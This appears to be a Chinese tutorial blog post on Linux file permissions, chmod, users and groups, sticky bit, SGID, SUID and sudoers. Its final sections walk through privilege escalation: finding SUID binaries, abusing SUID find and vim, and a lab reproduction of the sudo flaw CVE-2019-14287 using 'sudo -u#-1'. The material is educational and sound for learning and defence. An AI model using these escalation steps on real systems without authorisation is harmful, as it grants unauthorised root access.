Linux权限/提权

Linux 权限管理

权限管理

查看文件或目录权限

  • 查看权限

    ls -lh
    # -l 表示以长格式显示
    # -h 表示以人类可读的方式显示文件大小。
    

    image-20230928103652753

长输出格式

  • ls -lh

  • 长模式下输出有9个字段

    字段数说明
    1drwxr-xr-x.文件或目录权限
    22如果文件类型是文件,表示文件的节点数
    如果文件类型是目录,表示子目录的个数
    3root所有者的名字
    4root所有组的名字
    5137文件大小 注意:不是目录的大小。
    6
    7
    8
    Feb
    23
    10:25
    文件最后一次修改时间
    9Desktop文件或者目录的名字

权限字段解释

  • 文件或目录权限,以含义分隔,分为5 个字段(列)。

    d rwx r-x r-x .
    # - 代表没有响应的权限
    
    字段数示例含义说明
    1d文件类型- 文件
    d 目录
    l 符号链接
    c 字符型设备
    b 块设备
    2rwx所有者权限u 所有者
    3r-x所属组的权限g 所属组
    4r-x其他用户的权限o 其他用户
    5.
  • 权限表达方式说明:

    权限文件目录
    r读取文件内容列出目录内容
    w修改文件内容创建、删除目录中的文件(需要有 x 权限)
    x执行程序或脚本可以进入该目录

    执行目录的 w 权限,需要有对目录的 x 权限

    image-20230928113432830

八进制赋权法

  • 八进制赋权法,即用八进制数表达文件或者目录的权限,这种表达方式精炼方便。

    • 给读权限赋值为4,即r = 4
    • 写权限赋值为2,即w = 2
    • 执行权限赋值为1,即x = 1
    权限位2 进制8 进制
    0000
    –x0011
    -w-0102
    -wx0113
    r–1004
    r-x1015
    rw-1106
    rwx1117
  • 常见权限:

    • 777,最高权限;

      111111111

      rwxrwxrwx

      所有者 rwx,所属组 rwx,其他用户 rwx

    • 755,可执行文件;

      111101101

      rwxr-xr-x

      所有者 rwx,所属组 rx,其他用户 rx

    • 644,文档文件。

      110100100

      rw-r–r–

      所有者 rw,所属组 r,其他用户 r

    • 664

      110110100

      rw-rw-r–

      所有者 rw,所属组 rw,其他用户 r

权限修改

  • 对文件或目录进行权限设置,一定程度上保证安全性。
  • 只有文件或者目录的所有者才能赋权,root 除外。
  • 一般情况下,通过chmod 命令进行权限修改或调整。

chmod

  • chmod 命令有固定的使用格式,如下:

    chmod 对象 运算符号 权限 文件或者目录
    

    chmod 777 /tmp/test.txt
    # 赋予 test.txt 最高权限
    
    chmod o-x test#
    # 撤销其他用户对 test 文件的执行权限命令
    
  • 权限运算说明:

    对象运算符号权限
    u 所有者
    g 所属组
    o 其他用户
    a 所有用户
    + 赋权
    - 撤权
    =
    r
    w
    x
    t
    s
  • 权限从左向右匹配,先匹配先生效

    如权限 ---rw-r--

    从左向右匹配权限,前三个字符表示文件所有者的权限为---,所有者对该文件无任何操作权限,尽管文件所有者所在组对文件有读写权限,文件所有者依然无对此文件的读写权限

操作示例

Linux 用户与组管理

  1. 创建一个名为bk2304 的组,组id 为2000

    groupadd bk2304 -g 2000
    # 创建组并指定组 id
    tail -1 /etc/group
    # 查看组文件最后一行(新建的组)
    

    image-20230928114656864

  2. 创建一个名为bk2305 的组,组id 为2001

    groupadd bk2305 -g 2001
    tail -1 /etc/group
    

    image-20230928114723498

  3. 创建 tom 用户,指定 uid 为1500,基本组为bk2304,附加组为bk2305

    useradd tom -u 1500 -g bk2304 -G bk2305
    # 新建用户 tom 并指定 uid,通过组名指定基本组 g 和附加组 G
    tail -1 /etc/passwd
    # 查看用户文件中新建的用户
    id tom
    # 查看用户 id 和组 id
    

    image-20230928115120655

  4. 创建 jerry 用户,指定uid 为1501,基本组为bk2304,附加组为bk2305

    useradd jerry -u 1501 -g 2000 -G 2001
    # 新建用户 jerry 并指定 uid,通过组 id 指定基本组 g 和附加组 G
    tail -1 /etc/passwd
    # 查看用户文件中新建的用户
    id jerry
    # 查看用户 id 和组 id
    tail -1 /etc/group
    # 查看组中的用户
    

    image-20230928115326098

  5. 为 tom 用户和 jerry 设定密码

    passwd tom
    

    image-20230928120223680

    passwd jerry
    

    image-20230928120321004

  6. 修改tom 用户的密码最长有效期为90

    passwd -x 90 tom
    passwd -S tom
    

    image-20230928120407072

  7. 锁定 jerry 用户的密码

    passwd -l jerry
    passwd -S jerry
    

    image-20230928120450085

权限

文件权限
  • 非 root 用户

  • 新建文件

    touch test.txt
    ls -l test.txt
    

    image-20230928131217683

  • 撤销所有者读取权限

    chmod u-r test.txt
    ls -l test.txt
    cat test.txt
    

    image-20230928131242063

  • 测试写入权限

    echo "hello" >> test.txt
    

    image-20230928131307359

  • 撤销写权限,赋予读取权限,查看刚刚写入的内容

    chmod u-w,u+r test.txt
    cat test.txt
    echo "can i write?" >> test.txt
    

    image-20230928131546082

目录权限
  • 切换 root 用户,/tmp 下创建目录 rootdir

    mkdir /tmp/rootdir
    
  • 在 /tmp/rootdir/ 下新建文件 root.txt 并写入 “this is from root”

    echo "this is from root" > /tmp/rootdir/root.txt
    

    image-20230928132909482

  • 切换普通用户,尝试进入 /tmp/rootdir 目录,并新建文件 gjl.txt

    su gjl
    cd /tmp/rootdir
    touch gjl.txt
    ls -ld /tmp/rootdir
    # 提示权限被拒绝,无对文件夹的写入权限
    

    image-20230928132949746

  • 切换 root 用户,修改其他用户对 /tmp/rootdir 的权限为0

    su root
    chmod o=--- /tmp/rootdir
    ls -ld /tmp/rootdir
    

    image-20230928133036064

  • 切换普通用户,尝试进入 /tmp/rootdir 目录

    su gjl
    cd /tmp/rootdir
    ls -lhd /tmp/rootdir
    # 提示权限被拒绝,查看权限,显示无执行权限,不可进入目录
    

    image-20230928133055839

  • 使用 root 用户将目录夹其他用户的权限设置为 r--

    其他用户只可列出目录内容而无法进入或输入内容

文件或目录所有者

  • 查看文件所有者

    ls -l
    
  • 改变文件所属

    chown <修改后的所属者> <目标文件或者目录>
    	-R,递归修改
    #例
    chown ggg /tmp/test.txt
    

    当 ggg 用户将建立的文件的所属权给 root 后,查看文件权限

    虽然 ggg 无写的权限,但 ggg 所在组拥有写的权限(权限从左向右匹配,先匹配的生效)

特殊权限位

粘滞位(t)

  • 粘滞位仅对目录有效,在具备粘滞位旗标的目录中创建的文件,只有所有者能够删除

  • 针对others其他用户

  • 查看 /tmp 文件的权限

    权限显示为 drwxrwxrwt.

    ls -ld /tmp
    

    image-20230928143837323

  • 设置粘滞位

    chmod o+t <目录名>
    
  • 操作示例

    • tom 用户在 /tmp 下新建 tom 目录,并查看目录权限

      su tom
      cd /tmp
      mkdir tom
      ls -ld tom
      

      image-20230930131957860

      此时 tom 文件目录并无粘滞位

    • 赋予其他用户全部权限,在 tom 目录中新建文件 tom.txt 并写入 “i am tom”

      chmod 777 tom
      ls -ld tom
      cd tom
      echo "i am tom" > tom.txt
      chmod 777 tom.txt
      

      image-20230930132110885

      image-20230930132622324

    • 登录其他用户,尝试修改,删除 tom.txt 文件,发现可以修改删除

      su ggg
      echo "test" >> tom.txt
      cat tom.txt
      rm tom.txt
      ls
      

      image-20230930132733104

    • 重复上面步骤,切换到 tom 用户,在 tom 目录下新建 tom.txt,并写入 “i am tom”,赋予 tom.txt 最高权限,为 tom.txt 文件的父目录 tom 添加粘滞位

      echo "i am tom" > tom.txt
      chmod 777 tom.txt
      cd ..
      chmod o+t tom
      

      image-20230930133334764

    • 切换到 ggg 用户再次尝试对 tom.txt 文件修改删除

      echo "test" >> tom.txt
      rm tom.txt
      

      image-20230930133559366

      发现可以对文件进行修改而无法删除

SGID

  • 目录有效,在目录中建立的文件或目录属组会继承父目录的属组

  • 针对所在组

  • 修改

    chmod g+s <目录名>
    # 在此目录中创建的文件属于此目录所属的组
    
    cd /tmp
    mkdir ggg
    ls -lhd ggg
    su root
    touch ggg/test1.txt
    ls -l ggg
    su ggg
    chmod g+s ggg
    su root
    touch ggg/test2.txt
    ls -l ggg
    ls -lhd ggg
    

    image-20230928163753911

SUID

  • 可用于提权

  • 可执行文件有效,当一个可执行文件具有SUID 标志,无论哪个用户运行该文件(命令),谁就具有该文件所有者的权限。

  • 针对文件所有者

  • 赋予 SUID 权限

    chmod u+s <文件名>
    

SUID 提权

  • 一般情况下,命令的所有者大多数是 root 用户;

  • 如果命令具有suid 标志,就意味着命令在执行期间具有 root 权限;

  • 攻击者就可以利用 suid 进行提权,比如find | vim | git | nmap…

  • 查找具有特殊权限位 SUID 的文件(命令)

    find / -perm -4000 2>/dev/null
    # 或
    find / -perm -u=s -type f 2>dev/null
    
  • find 提权

    chmod u+s /usr/bin/find
    # 赋予 find 特殊权限位
    find /tmp -exec "whoami" \;
    

    image-20230928151953313

    当 find 命令赋予了 SUID 权限位且 find 命令的所有者为 root 时,通过 find 调用其他命令则在执行其他命令时,其他命令拥有同 find 命令的 root 权限

  • 例 vim 提权

    赋予 vim 特殊权限位 SUID

    which vim
    # 查找 vim 位置
    chmod u+s /usr/bin/vim
    ls -l /usr/bin/vim
    # 赋予 find 特殊权限位
    

    在末行模式输入 !<命令> 即可以 root 身份执行命令(不是所有系统都可以提权

sudo

概述

  • 命令解释

    Linux 是多用户多任务的分时操作系统,共享该系统的用户往往不只一个。考虑到 root 账户密码的敏感性和 root 账号的无限制权限,有必要采取如下措施:

    • 通过 useradd 创建一些普通用户,只让他们拥有不完全的权限。
    • 在必须使用 root 用户执行命令的情况下,需要申请 root 权限。

    sudo 命令就是来解决这个需求的。

  • 申请 root 身份,特权执行某个命令

  • 一般情况下,使用 sudo 都是在申请 root 用户身份特权执行某一个命令,要求输入密码时,输入的是当前用户密码。

  • 具体某一个用户可以以哪一个用户身份执行某一个命令,是需要配置的。

sudoers

  • 配置文件/etc/sudoers 是 sudo 命令的配置文件,编辑该文件需要使用专用的编辑器 visudo。visudo 用法与 vim 类似。

  • 典型配置文件格式:

    [root@localhost ~]# grep -n "^root" /etc/sudoers
    root ALL=(ALL)   ALL
    [root@localhost ~]#
    

    配置文件sudoers 关于权限的配置,大概分为5 个字段,具体含义如下:

    示例字段含义
    root1授权用户 | 组
    ALL2主机
    (ALL:ALL)3(用户:组) 授权用户可以以此用户身份特权执行命令。
    (ALL:!root) 除 root 用户
    NOPASSWD:4是否需要输入密码验证
    ALL5命令1,命令2,…

    配置示例,用户 ggg 可以以登录在任何地址的任何用户身份特权执行whoami 和id 命令,并且没有密码保护。

    [root@localhost ~]# grep -n "^ggg" /etc/sudoers
    ggg ALL=(ALL:ALL) NOPASSWD: /usr/bin/whoami,/usr/bin/id
    [root@localhost ~]#
    

sudo提权

  • ggg 以 root 用户身份执行命令

    visudo
    # 添加配置
    ggg ALL=(ALL:ALL) NOPASSWD: /usr/bin/whoami,/usr/bin/id
    
    #切换到 ggg 用户查看权限
    sudo -l
    
    # sudo 提权
    sudo -u root whoami
    # 或
    sudo -u#uid whoami
    

    image-20230928164454488

    image-20230928164715679

    前提:/etc/sudoers 文件中需要允许 ggg 用户 whoami 命令

CVE-2019-14287 漏洞复现

  • sudo -u#uid whoami

    sudo -uid#-1 whoami
    # root 权限
    
  • 当 sudoers 文件中的规则使用了 “!” 符号来限制用户对某些命令的执行时,该漏洞就会出现。如果 sudoers 文件中存在类似以下的规则:

    ggg ALL=(ALL,!root) /usr/bin/whoami
    

    上述规则的意思是允许用户 ggg 以任何身份执行 /usr/bin/whoami 命令,但不允许以 root 身份执行。

    然而,由于逻辑错误,当用户 ggg 在执行命令时,使用了以下方式:

    sudo -u#-1 /usr/bin/whoami
    

    其中 -u#-1 的含义是指定要切换到的用户的 ID,而 -1 表示用户 ID 为 -1,即特殊的 ID,通常是 root 用户的 ID。

    这个逻辑错误导致 sudo 在解析命令时,将 -1 解析为用户 ID,而不是作为无效的用户 ID。因此,sudo 将以 root 用户的身份执行 /usr/bin/whoami 命令,绕过了原本的限制。

    这样一来,用户 ggg 就能以 root 用户的身份执行 /usr/bin/whoami 命令,从而提升了特权

  • 漏洞复现

    • 切换到 root 用户,并为 ggg 用户新建一条权限配置

      su root
      visudo
      ggg ALL=(ALL,!root) /usr/bin/whoami,/usr/bin/id
      

      保存并退出

      image-20230930143313532

    • 切换到 ggg 用户

      尝试以 root 用户的身份运行 whoamiid 命令

      cd ggg
      sudo -u root whoami
      sudo -u root id
      sudo -u#0 whoami
      sudo -u#0 id
      

      image-20230930143609042

      提示不允许

    • 利用漏洞使用 -u#-1 执行命令

      sudo -u#-1 id
      sudo -u#-1 whoami
      

      image-20230930143727224

      提权成功

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值